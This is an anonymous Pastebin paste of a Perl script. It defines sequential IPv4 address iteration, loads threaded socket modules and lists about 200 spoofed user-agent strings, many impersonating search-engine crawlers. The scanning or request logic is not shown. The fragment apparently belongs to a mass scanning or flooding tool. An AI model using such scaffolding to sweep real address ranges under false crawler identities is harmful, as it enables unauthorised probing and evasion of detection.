API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Jun 16th, 2019
91
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 46.85 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2. package control;
  3.  
  4. my $ip;
  5.  
  6.  
  7. sub new {
  8.     my ($class,$i) = @_;
  9.     $ip = $i;
  10.     my $self={};
  11.     $ip = $i;
  12.     bless $self, $class;
  13.     return $self;
  14. }
  15.  
  16. sub mas {
  17. my ($self,$veces) = @_;
  18. $veces = 1 if($veces eq "");
  19. my ($a,$e,$o,$b) = split(/\./,$ip);
  20. for($as=0;$as<$veces;$as++) {
  21. $b++;
  22. if($b>=255) {$b=0;$o++;}
  23. if($o>=255) {$o=0;$e++;}
  24. if($e>=255) {$e=0;$a++;}
  25. die("No mas IPs!\n") if($a>=255);
  26. }
  27. $ip = join "",$a,".",$e,".",$o,".",$b;
  28. return $ip;
  29. }
  30.  
  31. 1;
  32.  
  33. package main;
  34.  
  35. use Socket;
  36. use IO::Socket::INET;
  37. use threads ('yield',
  38.                 'exit' => 'threads_only',
  39.                 'stringify');
  40. use threads::shared;
  41.  
  42. my $ua = "Avant Browser/1.2.789rel1 (http://www.avantbrowser.com)";
  43. my $ua = "Baiduspider ( http://www.baidu.com/search/spider.htm)";
  44. my $ua = "BlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/103";
  45. my $ua = "BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/5.0.3.3 UP.Link/5.1.2.12 (Google WAP Proxy/1.0)";
  46. my $ua = "BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0";
  47. my $ua = "BlackBerry8320/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/100";
  48. my $ua = "BlackBerry8330/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105";
  49. my $ua = "BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102";
  50. my $ua = "BlackBerry9530/4.7.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 UP.Link/6.3.1.20.0";
  51. my $ua = "BlackBerry9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/123";
  52. my $ua = "Bloglines/3.1 (http://www.bloglines.com)";
  53. my $ua = "CSSCheck/1.2.2";
  54. my $ua = "Dillo/2.0";
  55. my $ua = "DoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1;  http://www.google.com/bot.html)";
  56. my $ua = "DoCoMo/2.0 SH901iC(c100;TB;W24H12)";
  57. my $ua = "Download Demon/3.5.0.11";
  58. my $ua = "ELinks/0.12~pre5-4";
  59. my $ua = "ELinks (0.4pre5; Linux 2.6.10-ac7 i686; 80x33)";
  60. my $ua = "ELinks/0.9.3 (textmode; Linux 2.6.9-kanotix-8 i686; 127x41)";
  61. my $ua = "EmailWolf 1.00";
  62. my $ua = "everyfeed-spider/2.0 (http://www.everyfeed.com)";
  63. my $ua = "facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)";
  64. my $ua = "FAST-WebCrawler/3.8 (crawler at trd dot overture dot com; http://www.alltheweb.com/help/webmaster/crawler)";
  65. my $ua = "FeedFetcher-Google; ( http://www.google.com/feedfetcher.html)";
  66. my $ua = "Gaisbot/3.0 (robot@gais.cs.ccu.edu.tw; http://gais.cs.ccu.edu.tw/robot.php)";
  67. my $ua = "Googlebot/2.1 ( http://www.googlebot.com/bot.html)";
  68. my $ua = "Googlebot-Image/1.0";
  69. my $ua = "Googlebot-News";
  70. my $ua = "Googlebot-Video/1.0";
  71. my $ua = "Gregarius/0.5.2 ( http://devlog.gregarius.net/docs/ua)";
  72. my $ua = "grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)";
  73. my $ua = "Gulper Web Bot 0.2.4 (www.ecsl.cs.sunysb.edu/~maxim/cgi-bin/Link/GulperBot)";
  74. my $ua = "HTC_Dream Mozilla/5.0 (Linux; U; Android 1.5; en-ca; Build/CUPCAKE) AppleWebKit/528.5  (KHTML; like Gecko) Version/3.1.2 Mobile Safari/525.20.1";
  75. my $ua = "HTC-ST7377/1.59.502.3 (67150) Opera/9.50 (Windows NT 5.1; U; en) UP.Link/6.3.1.17.0";
  76. my $ua = "HTMLParser/1.6";
  77. my $ua = "iTunes/4.2 (Macintosh; U; PPC Mac OS X 10.2)";
  78. my $ua = "iTunes/9.0.2 (Windows; N)";
  79. my $ua = "iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)";
  80. my $ua = "Java/1.6.0_13";
  81. my $ua = "Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0";
  82. my $ua = "Konqueror/3.0-rc4; (Konqueror/3.0-rc4; i686 Linux;;datecode)";
  83. my $ua = "LG-GC900/V10a Obigo/WAP2.0 Profile/MIDP-2.1 Configuration/CLDC-1.1";
  84. my $ua = "LG-LX550 AU-MIC-LX550/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1";
  85. my $ua = "libwww-perl/5.820";
  86. my $ua = "Links/0.9.1 (Linux 2.4.24; i386;)";
  87. my $ua = "Links (2.1pre15; FreeBSD 5.3-RELEASE i386; 196x84)";
  88. my $ua = "Links (2.1pre15; Linux 2.4.26 i686; 158x61)";
  89. my $ua = "Links (2.3pre1; Linux 2.6.38-8-generic x86_64; 170x48)";
  90. my $ua = "Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/0.8.12";
  91. my $ua = "Lynx/2.8.7dev.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8d";
  92. my $ua = "Mediapartners-Google";
  93. my $ua = "Microsoft URL Control - 6.00.8862";
  94. my $ua = "Midori/0.1.10 (X11; Linux i686; U; en-us) WebKit/(531).(2) ";
  95. my $ua = "MOT-L7v/08.B7.5DR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0";
  96. my $ua = "MOTORIZR-Z8/46.00.00 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 356) Opera 8.65 [it] UP.Link/6.3.0.0.0";
  97. my $ua = "MOT-V177/0.1.75 UP.Browser/6.2.3.9.c.12 (GUI) MMP/2.0 UP.Link/6.3.1.13.0";
  98. my $ua = "MOT-V9mm/00.62 UP.Browser/6.2.3.4.c.1.123 (GUI) MMP/2.0";
  99. my $ua = "Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2.1";
  100. my $ua = "Mozilla/2.02E (Win95; U)";
  101. my $ua = "Mozilla/2.0 (compatible; Ask Jeeves/Teoma)";
  102. my $ua = "Mozilla/3.01Gold (Win95; I)";
  103. my $ua = "Mozilla/3.0 (compatible; NetPositive/2.1.1; BeOS)";
  104. my $ua = "Mozilla/4.0 (compatible; GoogleToolbar 4.0.1019.5266-big; Windows XP 5.1; MSIE 6.0.2900.2180)";
  105. my $ua = "Mozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.0 (screen 600x800)";
  106. my $ua = "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; MDA Pro/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1)";
  107. my $ua = "Mozilla/4.0 (compatible; MSIE 5.0; Series80/2.0 Nokia9500/4.51 Profile/MIDP-2.0 Configuration/CLDC-1.1)";
  108. my $ua = "Mozilla/4.0 (compatible; MSIE 5.15; Mac_PowerPC)";
  109. my $ua = "Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)";
  110. my $ua = "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0 )";
  111. my $ua = "Mozilla/4.0 (compatible; MSIE 6.0; j2me) ReqwirelessWeb/3.5";
  112. my $ua = "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/hspr-H102; Blazer/4.0) 16;320x320";
  113. my $ua = "Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.12; Microsoft ZuneHD 4.3)";
  114. my $ua = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0";
  115. my $ua = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)";
  116. my $ua = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)";
  117. my $ua = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; winfx; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zune 2.0) ";
  118. my $ua = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)";
  119. my $ua = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0)";
  120. my $ua = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0)";
  121. my $ua = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0)";
  122. my $ua = "Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0) Asus;Galaxy6";
  123. my $ua = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)";
  124. my $ua = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)";
  125. my $ua = "Mozilla/4.0 (PDA; PalmOS/sony/model prmr/Revision:1.1.54 (en)) NetFront/3.0";
  126. my $ua = "Mozilla/4.0 (PSP (PlayStation Portable); 2.00)";
  127. my $ua = "Mozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;452) Opera 6.20 [en-US]";
  128. my $ua = "Mozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)";
  129. my $ua = "Mozilla/4.8 [en] (Windows NT 5.1; U)";
  130. my $ua = "Mozilla/4.8 [en] (X11; U; SunOS; 5.7 sun4u)";
  131. my $ua = "Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1";
  132. my $ua = "Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1";
  133. my $ua = "Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20060702 SeaMonkey/1.5a";
  134. my $ua = "Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1  (KHTML; Like Gecko) Version/6.0.0.141 Mobile Safari/534.1";
  135. my $ua = "Mozilla/5.0 (compatible; bingbot/2.0  http://www.bing.com/bingbot.htm)";
  136. my $ua = "Mozilla/5.0 (compatible; Exabot/3.0;  http://www.exabot.com/go/robot) ";
  137. my $ua = "Mozilla/5.0 (compatible; Googlebot/2.1;  http://www.google.com/bot.html)";
  138. my $ua = "Mozilla/5.0 (compatible; Konqueror/3.3; Linux 2.6.8-gentoo-r3; X11;";
  139. my $ua = "Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.30-7.dmz.1-liquorix-686; X11) KHTML/3.5.10 (like Gecko) (Debian package 4:3.5.10.dfsg.1-1 b1)";
  140. my $ua = "Mozilla/5.0 (compatible; Konqueror/3.5; Linux; en_US) KHTML/3.5.6 (like Gecko) (Kubuntu)";
  141. my $ua = "Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)";
  142. my $ua = "Mozilla/5.0 (compatible; Konqueror/3.5; SunOS) KHTML/3.5.1 (like Gecko)";
  143. my $ua = "Mozilla/5.0 (compatible; Konqueror/4.1; DragonFly) KHTML/4.1.4 (like Gecko)";
  144. my $ua = "Mozilla/5.0 (compatible; Konqueror/4.1; OpenBSD) KHTML/4.1.4 (like Gecko)";
  145. my $ua = "Mozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.4 (like Gecko) Slackware/13.0";
  146. my $ua = "Mozilla/5.0 (compatible; Konqueror/4.3; Linux) KHTML/4.3.1 (like Gecko) Fedora/4.3.1-3.fc11";
  147. my $ua = "Mozilla/5.0 (compatible; Konqueror/4.4; Linux 2.6.32-22-generic; X11; en_US) KHTML/4.4.3 (like Gecko) Kubuntu";
  148. my $ua = "Mozilla/5.0 (compatible; Konqueror/4.4; Linux) KHTML/4.4.1 (like Gecko) Fedora/4.4.1-1.fc12";
  149. my $ua = "Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)";
  150. my $ua = "Mozilla/5.0 (compatible; Konqueror/4.5; NetBSD 5.0.2; X11; amd64; en_US) KHTML/4.5.4 (like Gecko)";
  151. my $ua = "Mozilla/5.0 (compatible; Konqueror/4.5; Windows) KHTML/4.5.4 (like Gecko)";
  152. my $ua = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)";
  153. my $ua = "Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0";
  154. my $ua = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)";
  155. my $ua = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident/5.0)";
  156. my $ua = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/5.0)";
  157. my $ua = "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)";
  158. my $ua = "Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)";
  159. my $ua = "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)";
  160. my $ua = "Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML; like Gecko; Google Web Preview) Version/3.1 Safari/525.13";
  161. my $ua = "Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.2; U; de-DE) AppleWebKit/534.6 (KHTML; like Gecko) wOSBrowser/234.40.1 Safari/534.6 TouchPad/1.0";
  162. my $ua = "Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML; like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10";
  163. my $ua = "Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML; like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5";
  164. my $ua = "Mozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML; like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5";
  165. my $ua = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML; like Gecko) Version/3.1.1 Mobile/5A347 Safari/525.200";
  166. my $ua = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML; like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";
  167. my $ua = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML; like Gecko) Version/4.0.5 Mobile/8A293 Safari/531.22.7";
  168. my $ua = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit/533.17.9 (KHTML; like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5";
  169. my $ua = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML; like Gecko) Mobile/8F190";
  170. my $ua = "Mozilla/5.0 (iPhone; U; CPU iPhone OS) (compatible; Googlebot-Mobile/2.1;  http://www.google.com/bot.html)";
  171. my $ua = "Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420  (KHTML; like Gecko) Version/3.0 Mobile/1A543a Safari/419.3";
  172. my $ua = "Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML; like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20";
  173. my $ua = "Mozilla/5.0 (iPod; U; CPU iPhone OS 3_1_1 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML; like Gecko) Mobile/7C145";
  174. my $ua = "Mozilla/5.0 (Linux; U; Android 0.5; en-us) AppleWebKit/522  (KHTML; like Gecko) Safari/419.3";
  175. my $ua = "Mozilla/5.0 (Linux; U; Android 1.0; en-us; dream) AppleWebKit/525.10  (KHTML; like Gecko) Version/3.0.4 Mobile Safari/523.12.2";
  176. my $ua = "Mozilla/5.0 (Linux; U; Android 1.1; en-gb; dream) AppleWebKit/525.10  (KHTML; like Gecko) Version/3.0.4 Mobile Safari/523.12.2";
  177. my $ua = "Mozilla/5.0 (Linux; U; Android 1.5; de-ch; HTC Hero Build/CUPCAKE) AppleWebKit/528.5  (KHTML; like Gecko) Version/3.1.2 Mobile Safari/525.20.1";
  178. my $ua = "Mozilla/5.0 (Linux; U; Android 1.5; de-de; Galaxy Build/CUPCAKE) AppleWebKit/528.5  (KHTML; like Gecko) Version/3.1.2 Mobile Safari/525.20.1";
  179. my $ua = "Mozilla/5.0 (Linux; U; Android 1.5; de-de; HTC Magic Build/PLAT-RC33) AppleWebKit/528.5  (KHTML; like Gecko) Version/3.1.2 Mobile Safari/525.20.1 FirePHP/0.3";
  180. my $ua = "Mozilla/5.0 (Linux; U; Android 1.5; en-gb; T-Mobile_G2_Touch Build/CUPCAKE) AppleWebKit/528.5  (KHTML; like Gecko) Version/3.1.2 Mobile Safari/525.20.1";
  181. my $ua = "Mozilla/5.0 (Linux; U; Android 1.5; en-us; htc_bahamas Build/CRB17) AppleWebKit/528.5  (KHTML; like Gecko) Version/3.1.2 Mobile Safari/525.20.1";
  182. my $ua = "Mozilla/5.0 (Linux; U; Android 1.5; en-us; sdk Build/CUPCAKE) AppleWebkit/528.5  (KHTML; like Gecko) Version/3.1.2 Mobile Safari/525.20.1";
  183. my $ua = "Mozilla/5.0 (Linux; U; Android 1.5; en-us; SPH-M900 Build/CUPCAKE) AppleWebKit/528.5  (KHTML; like Gecko) Version/3.1.2 Mobile Safari/525.20.1";
  184. my $ua = "Mozilla/5.0 (Linux; U; Android 1.5; en-us; T-Mobile G1 Build/CRB43) AppleWebKit/528.5  (KHTML; like Gecko) Version/3.1.2 Mobile Safari 525.20.1";
  185. my $ua = "Mozilla/5.0 (Linux; U; Android 1.5; fr-fr; GT-I5700 Build/CUPCAKE) AppleWebKit/528.5  (KHTML; like Gecko) Version/3.1.2 Mobile Safari/525.20.1";
  186. my $ua = "Mozilla/5.0 (Linux; U; Android 1.6; en-us; HTC_TATTOO_A3288 Build/DRC79) AppleWebKit/528.5  (KHTML; like Gecko) Version/3.1.2 Mobile Safari/525.20.1";
  187. my $ua = "Mozilla/5.0 (Linux; U; Android 1.6; en-us; SonyEricssonX10i Build/R1AA056) AppleWebKit/528.5  (KHTML; like Gecko) Version/3.1.2 Mobile Safari/525.20.1";
  188. my $ua = "Mozilla/5.0 (Linux; U; Android 1.6; es-es; SonyEricssonX10i Build/R1FA016) AppleWebKit/528.5  (KHTML; like Gecko) Version/3.1.2 Mobile Safari/525.20.1";
  189. my $ua = "Mozilla/5.0 (Linux; U; Android 2.0.1; de-de; Milestone Build/SHOLS_U2_01.14.0) AppleWebKit/530.17 (KHTML; like Gecko) Version/4.0 Mobile Safari/530.17";
  190. my $ua = "Mozilla/5.0 (Linux; U; Android 2.0; en-us; Droid Build/ESD20) AppleWebKit/530.17 (KHTML; like Gecko) Version/4.0 Mobile Safari/530.17";
  191. my $ua = "Mozilla/5.0 (Linux; U; Android 2.0; en-us; Milestone Build/ SHOLS_U2_01.03.1) AppleWebKit/530.17 (KHTML; like Gecko) Version/4.0 Mobile Safari/530.17";
  192. my $ua = "Mozilla/5.0 (Linux; U; Android 2.1; en-us; HTC Legend Build/cupcake) AppleWebKit/530.17 (KHTML; like Gecko) Version/4.0 Mobile Safari/530.17";
  193. my $ua = "Mozilla/5.0 (Linux; U; Android 2.1; en-us; Nexus One Build/ERD62) AppleWebKit/530.17 (KHTML; like Gecko) Version/4.0 Mobile Safari/530.17";
  194. my $ua = "Mozilla/5.0 (Linux; U; Android 2.1-update1; de-de; HTC Desire 1.19.161.5 Build/ERE27) AppleWebKit/530.17 (KHTML; like Gecko) Version/4.0 Mobile Safari/530.17";
  195. my $ua = "Mozilla/5.0 (Linux; U; Android 2.2; en-ca; GT-P1000M Build/FROYO) AppleWebKit/533.1 (KHTML; like Gecko) Version/4.0 Mobile Safari/533.1";
  196. my $ua = "Mozilla/5.0 (Linux; U; Android 2.2; en-us; ADR6300 Build/FRF91) AppleWebKit/533.1 (KHTML; like Gecko) Version/4.0 Mobile Safari/533.1";
  197. my $ua = "Mozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML; like Gecko) Version/4.0 Mobile Safari/533.1";
  198. my $ua = "Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML; like Gecko) Version/4.0 Mobile Safari/533.1";
  199. my $ua = "Mozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML; like Gecko) Version/4.0 Mobile Safari/533.1";
  200. my $ua = "Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; BNTV250 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML; like Gecko) Version/4.0 Safari/533.1";
  201. my $ua = "Mozilla/5.0 (Linux; U; Android 3.0.1; en-us; GT-P7100 Build/HRI83) AppleWebkit/534.13 (KHTML; like Gecko) Version/4.0 Safari/534.13";
  202. my $ua = "Mozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML; like Gecko) Version/4.0 Safari/534.13";
  203. my $ua = "Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/525.10  (KHTML; like Gecko) Version/3.0.4 Mobile Safari/523.12.2";
  204. my $ua = "Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML; like Gecko) Version/4.0 Mobile Safari/534.30";
  205. my $ua = "Mozilla/5.0 (Linux; U; Android 4.0.3; de-de; Galaxy S II Build/GRJ22) AppleWebKit/534.30 (KHTML; like Gecko) Version/4.0 Mobile Safari/534.30";
  206. my $ua = "Mozilla/5.0 (Linux U; en-US)  AppleWebKit/528.5  (KHTML; like Gecko; Safari/528.5 ) Version/4.0 Kindle/3.0 (screen 600x800; rotate)";
  207. my $ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1";
  208. my $ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML; like Gecko) Chrome/15.0.874.54 Safari/535.2";
  209. my $ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.7 (KHTML; like Gecko) Chrome/16.0.912.36 Safari/535.7";
  210. my $ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1";
  211. my $ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Camino/2.2.1";
  212. my $ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre Camino/2.2a1pre";
  213. my $ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20100101 Firefox/5.0";
  214. my $ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0";
  215. my $ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML; like Gecko) Chrome/14.0.835.186 Safari/535.1";
  216. my $ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1";
  217. my $ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML; like Gecko) Version/5.1.3 Safari/534.53.10";
  218. my $ua = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML; like Gecko) Chrome/19.0.1063.0 Safari/536.3";
  219. my $ua = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/528.16 (KHTML; like Gecko; Safari/528.16) OmniWeb/v622.8.0";
  220. my $ua = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7;en-us) AppleWebKit/530.17 (KHTML; like Gecko) Version/4.0 Safari/530.17";
  221. my $ua = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML; like Gecko) Chrome/4.0.302.2 Safari/532.8";
  222. my $ua = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5";
  223. my $ua = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML; like Gecko) Version/4.0.4 Safari/531.21.10";
  224. my $ua = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML; like Gecko) Chrome/6.0.464.0 Safari/534.3";
  225. my $ua = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15  (KHTML; like Gecko) Version/5.0.3 Safari/533.19.4";
  226. my $ua = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML; like Gecko) Chrome/9.0.597.15 Safari/534.13";
  227. my $ua = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML; like Gecko) Version/5.0.4 Safari/533.20.27";
  228. my $ua = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.14) Gecko/20110218 AlexaToolbar/alxf-2.0 Firefox/3.6.14";
  229. my $ua = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/534.20.8 (KHTML; like Gecko) Version/5.1 Safari/534.20.8";
  230. my $ua = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/528.16 (KHTML; like Gecko; Safari/528.16) OmniWeb/v622.8.0.112941";
  231. my $ua = "Mozilla/5.0 (Macintosh; U; Mac OS X Mach-O; en-US; rv:2.0a) Gecko/20040614 Firefox/3.0.0 ";
  232. my $ua = "Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3";
  233. my $ua = "Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15";
  234. my $ua = "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML; like Gecko) Safari/125.8";
  235. my $ua = "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML; like Gecko) Safari/85.8";
  236. my $ua = "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML; like Gecko) Safari/419.3";
  237. my $ua = "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML; like Gecko; Safari) OmniWeb/v563.15";
  238. my $ua = "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5 (KHTML; like Gecko) Safari/312.3";
  239. my $ua = "Mozilla/5.0 (Maemo; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1";
  240. my $ua = "Mozilla/5.0 (Maemo; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1";
  241. my $ua = "Mozilla/5.0 (MeeGo; NokiaN950-00/00) AppleWebKit/534.13 (KHTML; like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13";
  242. my $ua = "Mozilla/5.0 (MeeGo; NokiaN9) AppleWebKit/534.13 (KHTML; like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13";
  243. my $ua = "Mozilla/5.0 (PLAYSTATION 3; 1.10)";
  244. my $ua = "Mozilla/5.0 (PLAYSTATION 3; 2.00)";
  245. my $ua = "Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML; like Gecko) Chrome/13.0.782.41";
